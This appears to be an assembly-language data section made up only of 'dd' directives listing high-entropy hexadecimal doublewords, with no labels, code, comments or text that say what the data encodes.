dd 948EF028h, 21D30011h, 7939258Ah, 0BF3B434Bh, 1045A477h
dd 9E680207h, 67556180h, 0E6A101D5h, 80D63CBAh, 0A0017FE9h
dd 9E4CE008h, 9D97070h, 1938A91Ch, 0F5077489h, 1196E6D1h
dd 2E50951Fh, 22D29AC0h, 198BFh, 64EBB029h, 0E8A2770Ch
dd 0DB8DE107h, 90426747h, 0C4C4C070h, 0A6AD8896h, 14DECB00h
dd 7A6C1321h, 0E4370B0Dh, 582A39E8h, 0C00516C7h, 0FAB1F0D8h
dd 278D4113h, 0C8CE084Bh, 7FE6F60h, 7DF1AE6Ah, 518C0EAh
dd 9807A5D9h, 48643F15h, 2CAC801Bh, 383E2642h, 670F81E9h
dd 0B4C07075h, 4DD51519h, 97BD4100h, 0EBAC8A02h, 3D5DF663h
dd 463D790Ch, 186FC3AEh, 0D4FC3801h, 80F61800h, 2F40967Eh
dd 7779004Eh, 0BDEEAFCEh, 98012C1Ch, 9F83668Bh, 0B02BA592h
dd 0F50E7FA3h, 601B8565h, 21CC6E3Eh, 92BD00F0h, 0B5CA6A6Dh
dd 24027DE7h, 2D7E23FAh, 160F874h, 0CE9291DDh, 202EFCA6h
dd 0C795A9A3h, 0F377900h, 28419709h, 0A0C97020h, 7E12010Dh
dd 90404258h, 7A9FCB23h, 4D11C720h, 0EBF310F5h, 9200AB19h
dd 0CEE39D0Fh, 0C030398Fh, 0FFA2C149h, 247CD5ACh, 5A9DE100h
dd 81A62997h, 4C01F319h, 0DFD5C4F4h, 5882FCBCh, 43DCFBE4h
dd 0A687C80Ch, 888CB10Ch, 9900B06Eh, 0B15B9F40h, 1CE9179Eh
dd 0D4D0026h, 319B56D5h, 3E431107h, 7A20B077h, 0B62C28h
dd 18F97DEBh, 53D64C9Ch
dd 0D0345A1Fh, 8284EFCBh, 0F6E402C8h, 0C95D05B4h, 0CF8D0010h
dd 0DF43A15Ah, 951D5C00h, 9A181737h, 0BF060087h, 0D891EAEDh
dd 444EE2C3h, 0B8E934C3h, 9586374h, 0EB6622F4h, 7BD0EC40h
dd 5A78A049h, 56D11C01h, 4C20E925h, 0CA4CB3h, 527DD606h
dd 0FD4B217Ch, 0BF7B1801h, 0A064A104h, 0F4AA0780h, 0A899B8B7h
dd 9AE0C291h, 0E0003AF1h, 0B6B32E80h, 0E2426A38h, 9ACB2F7h
dd 0F8E3154Bh, 1300749Ch, 8D174BC2h, 92B6E409h, 5EB70C00h
dd 21D19E42h, 323EED00h, 3DD6A236h, 0F58B0172h, 829A5AA5h
dd 1A982CF1h, 51694C68h, 2890698Ch, 0B157BF5Ah, 0D0693144h
dd 3B43E1h, 0B3B5BD5Ch, 0C21699F2h, 0A408C626h, 537B96C3h
dd 0C68C28DCh, 2F03D0F2h, 27257E3Fh, 2E5DD080h, 1D563D63h
dd 223769Ch, 3C069C41h, 90257640h, 3440B900h, 0F84041Dh
dd 327B1CC2h, 980AC0B1h, 0E361B80Ch, 0C009EE00h, 0D3CC946Ah
dd 0BD1218F5h, 75C11962h, 0D634AC0Dh, 0C0EE600Ch, 55A7Dh
dd 0CD53E4A7h, 0C132AE71h, 3612D50Ch, 86AC690Bh, 0A9441B30h
dd 3806135h, 97F96A22h, 47F0070Ch, 2E00299Dh, 16A16FACh
dd 0A75FDFh, 0DC81A821h, 0C0667C05h, 0D67ABC00h, 0B8686C1Eh
dd 75EC0032h, 8A581496h, 0DA726018h, 4200C5E6h, 0CEC20D45h
dd 67BD62h, 8308858Fh, 0A158767Ch, 2E99A339h, 44005266h
dd 73A6FA86h, 0D1C3008Bh, 926FCE26h, 7700A8AEh, 983E1A97h
dd 0C15C78h, 57E74FC3h, 0B08349EDh, 4EBA5207h, 8920EEEAh
dd 981CB6h, 1B703818h, 28B2ADB9h, 63419C0h, 0C94958h, 0FE3FD82Dh
dd 8AE11003h, 8FCBAB01h, 0EF2B903Ah, 88149E10h, 11E53331h
dd 4B20DE34h, 0B6A30035h, 83A878BBh, 0FE6CEF7h, 0EBF2880Ah
dd 833E9C6Eh, 472DF582h, 385FF874h, 49041CC0h, 3D9187E0h
dd 1C2100A2h, 830289C5h, 0B5A3C89Ah, 52CC8031h, 2ADC9E54h
dd 0EE0A7F8h, 0EBF52A2Dh, 229DA5A0h, 1101297Dh, 3F20281Ch
dd 69EC5383h, 87590305h, 0F4D3991Bh, 75A430EFh, 0A01E9E58h
dd 0AB806896h, 0DCD8E42Ch, 0B3E8FCh, 2F0E8E1Ch, 243C6ACCh
dd 189E7C03h, 0C8B00349h, 0FD1C097h, 7780DF37h, 0AF8D1360h
dd 0CA0C573Dh, 6091C744h, 706E005Ch, 28865AC4h, 5000A6A8h
dd 6BEF6C76h, 5F88F2h, 62909A98h, 0E1C5A2FDh, 0ED17D00h
dd 34AFB393h, 47D4006Eh, 524E119Bh, 1800F29Ch, 54B8EC1Ch
dd 2A45E0h, 5A045EBEh, 97581E3Ah, 711CA200h, 0CDC895E6h
dd 2EE13A39h, 0E2BE9F03h, 50C77E03h, 5A461927h, 8E589075h
dd 776902FEh, 4317BCBDh, 26BAB848h, 1D0100E6h, 7E9F82C3h
dd 3E002262h, 0D8BBFCE4h, 0FE589848h, 8A943C2Bh, 301612h
dd 52CEB474h, 67004D0Fh, 0C1E8AAB8h, 48EE2C7Fh, 0AB1F5C87h
dd 2BF60081h, 0D53703B5h, 19C77800h, 15281389h, 0B28A016Ah
dd 0B95FB440h, 68EC201Bh, 0DD041C00h, 8B696B3h, 0A14B0317h
dd 829EFB81h, 7B9503FDh, 3100F226h, 77F9D92Fh, 9ED6A5h
dd 0D0D20CB8h, 5F66FB22h, 4E1E011Eh, 0C7E60E43h, 0C3B0B7E8h
dd 28F17ED5h, 48805B6Fh, 7DC7F883h, 0BF2320F7h, 609216C4h
dd 15F57500h, 939FF94Dh, 8C050798h, 0A3D918B3h, 871FF8h
dd 0A3AB0110h, 60C0E75h, 19F3257Ah, 0C8D00726h, 29538B96h
dd 17A83400h, 7B0B7F9Bh, 1139A7h, 66E631F8h, 3292E6BDh
dd 99980FC6h, 48241466h, 6200605Eh, 322C5A64h, 0A6EE006Eh
dd 47D9EDC6h, 889A5999h, 0A49A0C00h, 3F27B315h, 537C58h
dd 0F2FCD52Bh, 877A7D76h, 0B1255F00h, 644E21EEh, 7700033h
dd 5255F366h, 0A000A87Fh, 4A750D0Bh, 0BD61D6h, 89D84780h
dd 0F9A4C0E0h, 4F012A00h, 0AEE41EFCh, 0DB0CBh, 0C8786A9Dh
dd 5BDDC51Bh, 6DB79500h, 0B8353F17h, 74064C67h, 13CF7B00h
dd 9A460C8Eh, 0D65C8400h, 4325C342h, 6E4003Fh, 82A24C16h
dd 0AEFEA424h, 48F2700Fh, 0C0F74028h, 11373Bh, 0C15F046h
dd 0D9E3E08Fh, 0CCCB1F01h, 941ECDC3h, 0B0F9BEC8h, 0C29C0B18h
dd 0B008EC5h, 0CC77F24Fh, 0EEAEC10Eh, 0B8077210h, 20307BF8h
dd 72E4643Ch, 7C85009Ch, 4599114Eh, 0A51CFA67h, 0C881DE26h
dd 633D2230h, 1F716F4h, 483AAF9Fh, 4015188Eh, 825EC5D8h
dd 0C1004273h, 22FADF1Fh, 9A7EBEh, 34185888h, 79B3F4ECh
dd 2DF0CF1Eh, 908C7200h, 2A10D2h, 0C3A96AF7h, 1D44065Bh
dd 9287DB09h, 0FA40189h, 8D101BE5h, 3C00A479h, 9CD653FCh
dd 8596EAh, 0EDCDC16Fh, 0BC4C8E89h, 3F03F098h, 880898C9h
dd 0AF349040h, 0AB7100F3h, 90B810CDh, 3F77A17Ch, 62F9BA1Ch
dd 0B2C6E0C1h, 402089FCh, 683A00A9h, 59D41CEh, 0FD03DF6Ch
dd 647E0AA4h, 0C818A83Eh, 5D4007DAh, 8088D6ABh, 0B5EA7280h
dd 51101E01h, 0B6A9B74Fh, 6803B0E7h, 0D66E306Ch, 0A8CB1D98h
dd 0CF02DC98h, 0DA57B8C3h, 81C4C87Eh, 0D0A51683h, 418C5E8Eh
dd 16E625E2h, 0CCB9EDD9h, 9E02489Dh, 19119388h, 0BED4E006h
dd 41795Dh, 340CA96Fh, 3F5BCE86h, 0BA630101h, 900D213Bh
dd 0A63DD980h, 8D662FCh, 72FF9900h, 129E386Ah, 4DD275D0h
dd 0F01FC4ACh, 146C16h, 4A570614h, 0BD3AA4B2h, 223D80E3h
dd 0FB97E67Eh, 0D7D930FFh, 3457A9D8h, 0C77984h, 0E418B4BCh
dd 30150358h, 4009CB0h, 1311A6AEh, 0A065593h, 6F27F346h
dd 227A00F4h, 0ABA9FAC4h, 0F5E7E8F3h, 14E83A12h, 8E953000h
dd 242E1252h, 3BBCEFF1h, 6A4E00F9h, 3E828B8h, 830BC41Ch
dd 3C0FF49h, 0A85C4214h, 0FAE0A2h, 93793B26h, 0ED14D68Ch
dd 0C258AA0Ch, 12DF788Ah, 20F5ECB5h, 1038A830h, 7D832F00h
dd 1DB6BEA4h, 42DF3E55h, 0D47878A5h, 2CB8C20Eh, 0C843D7D7h
dd 0D034CBE0h, 0E8FCA0h, 50C29FFEh, 3ADB56Ah, 636081EEh
dd 1A108A28h, 629602DAh, 5F3CE055h, 7B662EE0h, 722E3107h
dd 0B80FABCh, 497AD57h, 50098688h, 0B01081F2h, 0E60FF45Eh
dd 3A9280A0h, 25DC3Fh, 873130ECh, 1D98E167h, 0C49171C7h
dd 801F560Ah, 30838D24h, 0C10CEA00h, 0D95FB7D1h, 44C60245h
dd 0B45AA539h, 3C684C42h, 5F0081A0h, 1048C537h, 5C7619h
dd 362EF0EFh, 0C1E0FE7Ch, 0C3793F00h, 21B5BD26h, 0D8400295h
dd 491001CEh, 8C44E864h, 230084D0h, 575F031Dh, 0EFF3935h
dd 2E176CBh, 0EE440C03h, 43CDF90h, 1B001CB0h, 0A25EE0C2h
dd 0F36C40h, 34DF7ACh, 9A0E68CCh, 6EAA8A00h, 3332AE29h
dd 0CF950309h, 60896D46h, 64342AB8h, 6EF979C0h, 0C066FF19h
dd 1D855958h, 0F109D59Bh, 9A719272h, 0FD48682Ch, 94BC1324h
dd 13101F80h, 9600EAC1h, 0A02645D4h, 0C6B058h, 20566407h
dd 0BBA162FFh, 0FE9808EEh, 0A97F9C00h, 8E37EEB2h, 80B802B4h
dd 95D6464Ch, 79FA8460h, 0F0523205h, 84C0608Dh, 15452Fh
dd 1B89DF8Fh, 3BFFEA95h, 0E6CDC012h, 0DE0C7000h, 1A1217Fh
dd 5DB17959h, 0D8F3EFFBh, 1E00C634h, 18C5D151h, 41DBC7h
dd 0AB772BB5h, 0AFC2AE4Ah, 7AB6A600h, 0F83D284h, 71F00B32h
dd 5C90CAB0h, 0EC00AEB4h, 86481A06h, 7E47EA0h, 0E060E522h
dd 7C808E40h, 19FE3EA2h, 96D80900h, 32726EB3h, 0F449090Dh
dd 0EC004E23h, 3482CCF5h, 0A726EA79h, 858F68B1h, 2228096h
dd 412177h, 0C4CEC135h, 0DC79E836h, 8F921703h, 5984612h
dd 5BBB930h, 0BADF82FDh, 32A558E0h, 0D082B402h, 8040DC7Ch
dd 3CEF478Ch, 1E90139h, 8666461Ch, 540EE4AEh, 85CD4D05h
dd 2E8552A5h
dd 0ED363880h, 402100FDh, 98187696h, 482C045Ah, 0C000BBF5h
dd 0BE1C74D1h, 6FF0F73Eh, 0B92238BFh, 0A1322781h, 0C907A87Dh
dd 0CA040CFh, 201A041h, 2F3481F7h, 4EFC4408h, 8296006Eh
dd 8CD54C9Eh, 0F4A8A6B7h, 0EF12527Ah, 0D80F486Ch, 0D26940E6h
dd 666A62h, 0C2742C55h, 86F415F6h, 0C6485A00h, 0BF288BFFh
dd 1A8C006Ah, 0CD76EB34h, 3203AD59h, 869EE70h, 1174E0A6h
dd 12663F1Eh, 8D53D581h, 380F65AFh, 804F3934h, 4C550C3Ah
dd 3FD684CCh, 628E174Ah, 471F1085h, 715BC5C9h, 0E8F0B231h
dd 0BD007ED5h, 0A9DD1713h, 7A449945h, 0E62B125Eh, 0A2340047h
dd 0D9B6E974h, 1100B498h, 2310120Eh, 0A9B132h, 7CB350FBh
dd 0FE06BFE9h, 902E8B40h, 0C17E0138h, 35FC3715h, 0C48AF49Dh
dd 3883CE00h, 0D0DE762Ah, 7B13038Dh, 1AB1EE6Dh, 0A6B4B900h
dd 0EB4FE8B8h, 0FBE43C9Bh, 5E80057Dh, 0C01EAA44h, 2AB743B4h
dd 10DE7807h, 9AE7FA77h, 0D1A15C70h, 0DD8105AFh, 0C01D2BC2h
dd 545AC64Bh, 9199C90Ah, 440EE416h, 3D55C3E7h, 79A9E8C7h
dd 543F4867h, 0DE03BF00h, 85DA2AC4h, 2BB0CE5Eh, 820900EFh
dd 45404C2Ch, 70B03758h, 89A9000h, 265C33EBh, 49BF836h
dd 66B81B43h, 0AB30802Ch, 0AE3A3042h, 1128C8B9h, 932C0D8Eh
dd 4C4E4398h, 999701EDh, 0F5FD7C62h, 0FA2BC0E0h, 3B36F20Fh
dd 18B3A086h, 0FE0989h, 7FA8BD88h, 154B0451h, 0CDD58B01h
dd 954E909Bh, 0E4AD7C20h, 288A1D96h, 755583ABh, 0D8C0915Ch
dd 83070E2Eh, 0F86B252Dh, 0CCD482B9h, 1CD324B0h, 29B76C00h
dd 34BCBh, 0F09AC856h, 829F49D0h, 682148h, 5A643E94h, 4B6F6ACEh
dd 0B118146Bh, 5065B806h, 0BF04B08Fh, 31FCA53Fh, 2EC5E489h
dd 647A8001h, 650721B0h, 66FA8642h, 0EB606D70h, 1FC7599h
dd 2BAD8D7Eh, 87C5BE20h, 6AC3DD8h, 70C3F940h, 0C1257FF3h
dd 0E60383B8h, 5DC86436h, 0A319AFE4h, 0F8890DA8h, 37601421h
dd 4B9F0089h, 24AA1050h, 6726BDABh, 0F6032499h, 90E22AA9h
dd 5D45C2CCh, 20FC425h, 9341FA04h, 0DC09750Dh, 9A00441Eh
dd 21CB9784h, 1299A301h, 1E7B3C1Ch, 0EFCC8640h, 0A0035069h
dd 20BDEC72h, 843A8082h, 0CA4A007Ch, 0FC061276h, 3B6B1D99h
dd 46620039h, 55AE139h, 0D6B1FBB0h, 0DC0480D3h, 971649D7h
dd 7A097357h, 38C900Ah, 6DCE002Eh, 5ABB3171h, 580938DFh
dd 8062A2F6h, 5C2ACD70h, 877E7Ah, 7FD2E769h, 0A99F12F4h
dd 0AE91D00h, 0BF83F64Eh, 44694AB5h, 1847818h, 4AE4BE25h
dd 0E781D8CFh, 2082285Ah, 0EABAECD5h, 564C0194h, 522ED9BCh
dd 0EEFCE00Ch, 9A326E00h, 33CAD58Ch, 663A0025h, 0E7E37FCEh
dd 0B60EDCF1h, 723F911Ch, 40A71888h, 1A009AB2h, 0A37A7E98h
dd 60F7153Dh, 9EE64021h, 2700BABEh, 8C54E17Bh, 1F899416h
dd 0A760DEh, 6210A22Bh, 0FDF6237Fh, 0B2BEE305h, 74C0DC06h
dd 4846A07Eh, 3E00B130h, 0ECF4E870h, 520788A8h, 0E2BFE07Ch
dd 2F919360h, 8EA631B2h, 805B59F4h, 0EB19FDE8h, 890FB4h
dd 0E53A82F2h, 49D5BB7Ch, 5A6E1809h, 0C2E801E0h, 9C2897D0h
dd 22262C00h, 9D7F19DBh, 555D1300h, 2EF6C6A7h, 768A00B2h
dd 0F90D35ABh, 8E48B62Ah, 143C1C86h, 98C02000h, 449C84h
dd 0C61A081Ch, 4D938A9Dh, 0BD254Ch, 6558A9D3h, 2DD7B54Bh
dd 3C00C6CAh, 92DFACC3h, 0AD3B000h, 0EC2AE643h, 383A4CCCh
dd 0F2EE9801h, 0BCFEB5EBh, 3F63C30h, 0FF7C61D3h, 5805A0ABh
dd 0F7690354h, 756EB65h, 456749C0h, 9888BB01h, 1304F2E6h
dd 0F180D2D1h, 0C6FB072Ch, 3301B057h, 18A80343h, 9ED40A38h
dd 4D70E08h, 0F980CA85h, 0B8CE414Ah, 52203302h, 5F4D1348h
dd 0B64BF440h, 64D60528h, 8896451Ch, 0DFF2FE80h, 0BE05FF8h
dd 6C750E80h, 0BB996800h, 7A7311B8h, 0C824F200h, 0A30E48D1h
dd 0D43C0FBAh, 9F20262Dh, 0B71E12DEh, 131DE4F0h, 3ED7DBh
dd 9A7BC94Fh, 15A22BCh, 0E8D8B52Fh, 0F8C54963h, 0E000374Ah
dd 2115C62Ch, 6702BCh, 42FF6A1Ch, 83BAEC01h, 0D9F4D70Eh
dd 98CD6039h, 0A4D612h, 1BEBE084h, 0F517A73Ah, 0F037A900h
dd 0FE99083Dh, 0D4BC0FEDh, 0B5215DFCh, 348EB720h, 0EC7814B8h
dd 0D2946000h, 2386E9C3h, 45500A1Bh, 1DDC2C27h, 8318EC1Eh
dd 29EA36C2h, 0E1043801h, 2C133AB0h, 8A5091h, 1AD82140h
dd 4C75EBh, 0C39ADFABh, 0FEECF989h, 0F704D300h, 852ABA38h
dd 5A2284Ch, 13010AFEh, 874C1260h, 0D0A84433h, 532BD9E3h
dd 28F65200h, 1C45708Ah, 4C38C029h, 75449DADh, 100D6000h
dd 9C1D8928h, 88B80045h, 9DCF7C6Fh, 90EE0323h, 87AEE09h
dd 0D05007E5h, 80719432h, 0A04D0EF8h, 0FFDF0184h, 0D8805DA9h
dd 0BDE6F9A5h, 7CDBBC11h, 2A00EFF0h, 0C5A7A8E7h, 3C2C42h
dd 0DB8CA367h, 51F50114h, 595DB10Fh, 789827BEh, 1AB09B87h
dd 3C4EF0F3h, 0A6BA8CB0h, 44AD2F87h, 87163730h, 83E86013h
dd 0BE024DFAh, 5AD96350h, 45CFE080h, 1A840046h, 83E9F1D2h
dd 6312272Ch, 0B500A808h, 0AE46987Bh, 2E1EE073h, 0A01FC1h
dd 61A2A956h, 0EF3E3399h, 0C6E081F2h, 62EEE5E1h, 7C9C2E4h
dd 889DEAB8h, 4270F084h, 5500B3A1h, 0DFBBD038h, 3532887h
dd 0FF93E247h, 1DF8113Fh, 52004FA1h, 68B1FE76h, 0D9B739h
dd 5810641Ah, 0A5CF9120h, 19293A00h, 5DF4EAF3h, 887560h
dd 54DA75A6h, 6A858AAEh, 0FC6D8B07h, 46C09372h, 22C80EBh
dd 2AB4BCCDh, 9940A981h, 470007C0h, 0BE7E0D63h, 0C0749394h
dd 31A72831h, 0AF031ECAh, 9F1D5E4h, 0AB4DE0A5h, 57E70C5h
dd 0CB8B93E6h, 0E2E04071h, 0C64C84EBh, 6FFAE01Eh, 2019B500h
dd 146014F6h, 0A0DFF70Fh, 805A981Eh, 6A412299h, 370056B4h
dd 8F032D8Dh, 0CB0AFEh, 2EB6521Ch, 0F0A5963Ah, 0B1194F13h
dd 0EFF49C00h, 0E62A29h, 1E518D2Dh, 0AA023A3Bh, 94071C90h
dd 2B60DFA5h, 199F3510h, 0CD8D000Fh, 0F25A9ABBh, 0FB00A66Eh
dd 0BA72F017h, 2ED2F7h, 0B17B9CDBh, 2808385Eh, 91B3E400h
dd 0DF3A4E13h, 4BA10004h, 0A57D6FC6h, 98140E97h, 8C4161h
dd 121A32D6h, 0A6EF3Eh, 0D11B02C1h, 4F5B5778h, 189C2F0Ch
dd 38453871h, 6C802073h, 8E222DEBh, 5005104h, 12725C10h
dd 99160Ch, 396DD503h, 3DD9AC7Eh, 56A58300h, 17C2F9EFh
dd 7F5F03F6h, 3A2DFAA8h, 0C14F04E0h, 0A601A998h, 45C979F3h
dd 0B9D39D07h, 0BEC05808h, 5C4300DAh, 6BDF835Bh, 12075044h
dd 51D7BB7Bh, 80FFF875h, 0E03A064Eh, 0EB878901h, 1C4D9EEEh
dd 57E1AC41h, 54803412h, 32976FC0h, 0F81E0107h, 25F155FAh
dd 66F074BBh, 13570063h, 0E19ED3F9h, 0D5A204DBh, 9235E0C0h
dd 72547900h, 0E040F616h, 0D70F00B9h, 0F3B8D93Fh, 620A4E7Ch
dd 0FCC0B553h, 0E808003Bh, 0D9E4A5C4h, 0C17F3725h, 3E6AF018h
dd 7A00144Eh, 9FC4C2BAh, 0EEE8F8h, 234C8B70h, 6FBDC9D9h
dd 0B5FFB8C0h, 0CBF10Bh, 4C718F20h, 0DD0D1A6Ah, 7ADFA806h
dd 7EBBD4h, 77014349h, 4E072519h, 0C63CEB00h, 0D6643A36h
dd 8CB73F8Bh, 14ECFDF8h, 18AC0104h, 2D06C935h, 0A3A04067h
dd 7E004E2Eh, 0FBD0AF23h, 970D7Dh, 8217D363h, 4A2C7724h
dd 5C4D1D73h, 99B10078h, 109AD8F7h, 2063006Ch, 0D4F6816Bh
dd 71071DB6h, 585097D9h, 7AA11150h, 1A890725h, 909AF8DCh
dd 0A9735D55h, 694CEF00h, 0D68D72D0h, 0DE1E002Eh, 0A7032053h
dd 1F0FAF70h
dd 0E166E22Ch, 0B94BBC89h, 3B0DA0FCh, 4180FF0Eh, 4732C7CDh
dd 0A807224Dh, 0A227DABBh, 5E5FCAE0h, 6ADE0070h, 0A7EB3545h
dd 663804A9h, 1A6F8023h, 77185248h, 577C02D3h, 1B3DF3C2h
dd 1980A7E3h, 611876DBh, 43F1DD88h, 0FB490074h, 539D01Eh
dd 570127DCh, 4CFC5E99h, 3DC4EA2Eh, 5BE9009Ch, 8C59280Fh
dd 0B200EBA0h, 2D7EE2B1h, 0E74456h, 5CC08B88h, 38D88214h
dd 0CC3A1803h, 0D8962232h, 0B9D07Dh, 5A2E3CCDh, 1B6744DAh
dd 6E008F7Bh, 3B9ED41Ch, 3A4DEC99h, 95804B3Fh, 10E253F7h
dd 0ABFCBC40h, 0C3C7C81Ch, 204F8912h, 9243007Ch, 907E95A9h
dd 5B9E017Ch, 0B9516D80h, 82109731h, 1892DA00h, 695866FBh
dd 9C0018C0h, 9003AB41h, 3200909Ah, 0E89D06A1h, 0DC76D8h
dd 0C01A4818h, 45C89A97h, 6E3D311Dh, 0B8495D80h, 4418E5h
dd 70FBC0AEh, 4279B75Ah, 0F4933600h, 0D62CFAC7h, 61E85845h
dd 23C08D01h, 0E4372BA7h, 0A500DF7Ch, 0C244AE2Dh, 0EAAFCD26h
dd 3768Ah, 1633D381h, 6E1E4AA8h, 747E905h, 18328FFh, 0A530C7F2h
dd 8FDF33h, 1EC79279h, 8564D917h, 8705FA16h, 0E615440h
dd 16E40F69h, 0BD9123h, 5466597Fh, 941EFD3Dh, 58C319C8h
dd 8027C010h, 3365BE3h, 0CB9072CDh, 56C8212Fh, 0AB00FE1Bh
dd 3124AE6Bh, 78EFE5h, 9C3E3454h, 48515939h, 0DBB87E00h
dd 6299DFA4h, 13730056h, 7616B0A7h, 98003C36h, 3F96B4F9h
dd 71CF1D7Bh, 650100E8h, 790A5846h, 0AD7D82D5h, 2AEC2A39h
dd 0EA00ECBCh, 7A15193Ah, 5E61D6h, 0B2864985h, 0B8A22668h
dd 98756700h, 19D1D9F2h, 575C0773h, 14D5F693h, 8AD89015h
dd 0A300DFF0h, 282B84E7h, 0E2A60662h, 347B00E5h, 0B9D25B2Fh
dd 7E0033B2h, 0F35F61CDh, 4C7D0585h, 0B14BAC28h, 4722E0F8h
dd 1311CFh, 4DB3512Ah, 80DE00E4h, 3ECE0BF4h, 1A07DC91h
dd 7FA66CA0h, 0F7269F70h, 0B79B0D40h, 246080B2h, 0C31EE42Ch
dd 0C20F2B1Bh, 32F018FBh, 0BCD45C7Bh, 77D8E783h, 3538E8D8h
dd 2CC25901h, 0BC678033h, 0F2FFC074h, 7AE301A0h, 0D2AA418Dh
dd 80ACD095h, 6960E530h, 7D062584h, 593058DFh, 0AFFD1914h
dd 3F9D5900h, 5BC4E94Dh, 93A32200h, 235AA7ECh, 99C903D2h
dd 5BF7343h, 1F8830C7h, 9C001DD5h, 780903C6h, 40176Eh
dd 927C0D81h, 41E4E99Dh, 0CBD8E00h, 0E379A01Bh, 0D6B9002Ch
dd 0F15EEA59h, 0CBF63569h, 50402607h, 7C6545C4h, 7B8B80AFh
dd 3100ADFEh, 1595149Fh, 0A81F4Fh, 0C3078F78h, 0BC87A075h
dd 515AF700h, 11B06395h, 0A85300C7h, 88E58E08h, 9CA8DB85h
dd 712C4277h, 0C00F22F8h, 0BA809EF9h, 0F492DEE3h, 0BE670A31h
dd 900538h, 0E758029h, 0B5F8FEEAh, 80CFF33Bh, 21E2C20Bh
dd 7B2A32h, 0BDE8803Fh, 0FF8F5F51h, 61E56700h, 2FCA688Bh
dd 4897001Dh, 9A16323h, 1600DC85h, 82225547h, 56205Fh
dd 0D6742EC8h, 61CACBD9h, 0D32A870Ah, 0E580D069h, 7338DDB3h
dd 0B8207393h, 3D798BBh, 0C922DB54h, 31A3611Dh, 2B5FE998h
dd 0B74CA501h, 0EEFE570Fh, 987A1C24h, 6B6700CFh, 1E826C4Dh
dd 0D801CE25h, 0C8F32BEDh, 1824B2E8h, 0B2800D5h, 88C53B7h
dd 330C449Fh, 21A6E887h, 0D0CD1DA2h, 0FCDA1D8Fh, 19CEB000h
dd 84257247h, 0E2209500h, 0F585D768h, 0B0D20E0Eh, 0FF9C83E0h
dd 0E7F9B050h, 9FEDE0h, 7BF34287h, 0A306B756h, 9870B274h
dd 819D11C2h, 856F18B6h, 0DAA74108h, 0B2720355h, 4105F43Bh
dd 9775E0B8h, 384D0460h, 0D510C374h, 193B7EF5h, 3BC085EEh
dd 140CBA05h, 39A839DDh, 0B48017A9h, 0D8761A27h, 813994B6h
dd 55FE85ACh, 0D9803383h, 2849C464h, 7438DEC1h, 4203185Fh
dd 50551177h, 0C50366ECh, 0BCE4946Bh, 4F083053h, 7728B221h
dd 5BAE4Ch, 7FCE49B1h, 0E834635Dh, 59DF622Bh, 5C80F7D5h
dd 0A2D75EEBh, 86F0CF71h, 9874DF50h, 53377100h, 9352662Dh
dd 89E6635h, 0F70021C3h, 887B377Ah, 187754A6h, 89785FABh
dd 4DF05E95h, 755D0E03h, 0E0654641h, 0C07CDE6Dh, 0EAFBB761h
dd 0DC2E068Ah, 0F403FD04h, 8B71FDh, 0EB035821h, 0BEE82654h
dd 104B6703h, 0F1780A61h, 70883E21h, 0DD8C3A57h, 0D23999h
dd 54650322h, 5EF568A8h, 3B6ED81Ch, 0C1E06C28h, 121AC500h
dd 0D8994990h, 0CCBF00BEh, 795D162Fh, 3E0A2275h, 98E13880h
dd 0F4F70C80h, 6CF8D6F5h, 70D04950h, 34EBE08Ch, 8C9068Dh
dd 57809568h, 6D4EEB08h, 0A232034Bh, 0C10CAD16h, 948ECEB1h
dd 0BCC0E288h, 0A2098CC0h, 318D27Dh, 7B3D5BC3h, 1E8CA4B0h
dd 0B5E2E8h, 1CEB709Ah, 0CD3028A4h, 0D5AAD015h, 231643F8h
dd 5842679h, 22FC068Eh, 3C206968h, 762EB07h, 948978E1h
dd 84033034h, 8AF82380h, 4D295E09h, 64682A64h, 4F8E0811h
dd 53C571C2h, 0B5104331h, 9E167727h, 0AB00F825h, 45D3F4AAh
dd 12BB72D6h, 22962C37h, 4E310590h, 46C568D8h, 50223Bh
dd 0C3774D7Ch, 0EFAD6344h, 0C2C92701h, 0C1DE6430h, 4304AC50h
dd 6D7199h, 902F3688h, 0C0EF1AE8h, 0A8A7981Eh, 0C8721440h
dd 93D1338h, 76663180h, 7FBDAC22h, 4D06502Ah, 13078FFh
dd 8818FA5Dh, 30B66264h, 0DE88811Ch, 4F79C0AEh, 2B855745h
dd 1C2C9F3Fh, 742A3881h, 0B9500746h, 4BC52972h, 4E1174h
dd 3F774CB6h, 5038E2Ah, 7A087BFCh, 795C089h, 0F700BDC0h
dd 5E8B5536h, 1DEF2B5Dh, 0A663ABA5h, 41FA623Ch, 73618F1Bh
dd 280E23C5h, 0C902ACB7h, 0AA9C7EA0h, 0F40049B4h, 807BE411h
dd 0EB2BC7F1h, 6ED152h, 0AC33270Ch, 1E69A42h, 42A4AA51h
dd 67308C84h, 2D551137h, 81BF8896h, 8A3770F5h, 3C41E0CAh
dd 0FE21A400h, 3AFF5EFBh, 0AC253012h, 0B15D6058h, 0B3E60109h
dd 73780474h, 90EAF960h, 48CC0626h, 52408FC4h, 0D8EEEB01h
dd 44EF2D01h, 0CC4D2EC2h, 7995E180h, 0B9251735h, 5CF02F1Eh
dd 60222C01h, 0DC580697h, 2367EC51h, 421143C5h, 7729B300h
dd 89B912D3h, 59520824h, 4440D913h, 207FFA14h, 8F9D008Ah
dd 0D740A924h, 622063ACh, 17950296h, 3AA6C049h, 0FABD9C41h
dd 5D264846h, 55509876h, 174B0406h, 80678BC7h, 6A942054h
dd 0FF686082h, 0D25089ABh, 77075C20h, 0C4CD1223h, 0FD740051h
dd 0EA652F5Dh, 7FF86B54h, 93DF88h, 0B0D7B9ACh, 827F8E6h
dd 4D867C1Ch, 0BB51D658h, 6E440035h, 0CE6DBE85h, 0CC01608Ah
dd 272CD592h, 55D1D6FAh, 3E8E74C0h, 0F228A580h, 9108C60h
dd 6004C406h, 4D916017h, 9D197080h, 3B05863Dh, 0EBFDEC96h
dd 48080498h, 6F231C90h, 94EAFD01h, 9436EC06h, 5568879h
dd 1402EB00h, 8E473654h, 0F4E9F0DCh, 7EC4838h, 0DD52D61Eh
dd 65F1267h, 50C0F7F2h, 600CDA12h, 4200C46Eh, 3F6AEF17h
dd 0D860B952h, 467AFE50h, 3DD6F89Ch, 0C53EFDBFh, 0C3109634h
dd 87AA780h, 0C2AA6D01h, 0AB502776h, 8EC01825h, 58FD03BCh
dd 5FB4B3B2h, 0A0100940h, 3DBC8600h, 63088D70h, 9998011Ch
dd 0FC3AEA72h, 0AB1C24B2h, 0A93D2930h, 30B1C2E8h, 22113E37h
dd 0C402AB3Fh, 0AD456A8Dh, 61E28096h, 0E425A06h, 4D5E8914h
dd 0BF137158h, 865C1A16h, 0BC189C1Fh, 0F8E55119h, 0E30E00C4h
